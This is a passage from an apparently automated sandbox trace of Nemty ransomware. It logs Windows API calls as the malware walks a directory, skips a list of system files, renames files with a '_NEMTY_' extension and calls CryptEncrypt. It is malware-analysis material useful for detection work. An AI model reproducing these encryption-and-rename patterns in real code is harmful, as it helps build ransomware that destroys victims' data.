lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.470] CloseHandle (hObject=0xffffffff) returned 0 [0141.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0141.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0141.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png._nemty_kgobjgd_")) returned 0 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.471] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b5506d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2=".") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="..") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="...") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="windows") returned -1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="$RECYCLE.BIN") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="rsa") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="NTDETECT.COM") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="ntldr") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="MSDOS.SYS") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="IO.SYS") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="boot.ini") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="boot.ini") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="ntuser.dat") returned 1 [0141.471] lstrcmpiW (lpString1="setting_back.png", lpString2="desktop.ini") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="CONFIG.SYS") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="RECYCLER") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="BOOTSECT.BAK") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="bootmgr") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="programdata") returned 1 [0141.472] lstrcmpiW (lpString1="setting_back.png", lpString2="appdata") returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setting_back.png", lpUsedDefaultChar=0x0) returned 16 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setting_back.png", lpUsedDefaultChar=0x0) returned 16 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setting_back.png", lpUsedDefaultChar=0x0) returned 16 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setting_back.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setting_back.png", lpUsedDefaultChar=0x0) returned 16 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0141.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0141.472] Sleep (dwMilliseconds=0x5) [0141.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7f8da90, dwHighDateTime=0x1d561e8)) [0141.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7f8da90, dwHighDateTime=0x1d561e8)) [0141.474] GetLastError () returned 0x5 [0141.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.474] GetLastError () returned 0x5 [0141.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.474] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.474] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401c8 [0141.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401c8, pcchString=0x653e91c | out: pszString="ZdUP/vRG4m32Xi8gW5JbTZ1nAcjQjenvZREhJR0/+bgUZwrxLfzxYMRERGlCtrKq\r\nCwj1iqWqyHGO+0vUP0KtNzlQLcx1DhySNIqsRFBPPtrd4I/tA0T/MR3sJ3+u91SL\r\nvOJF1RcOPVUqaT+pLcsX3p3wpDKzhzwse3w6UT4eHdm2YhnTV7LZ0UNkArMLrfZo\r\n47Q6hzs7LMoNRhQbFNAJ5qI7Pm28rTbmqOC/rvwMg0QWxykL1tIG2rw4ZP/QNaVd\r\ngXdFo0vBtFCrWnqQZ8qCSG70IlO0maH0n1KqiGItsQ57/sTSGSvfqTpKopkcApXo\r\nDmisTqxk/CfFvswsPG21nQ==\r\n", pcchString=0x653e91c) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0141.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401c8 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.475] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.475] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 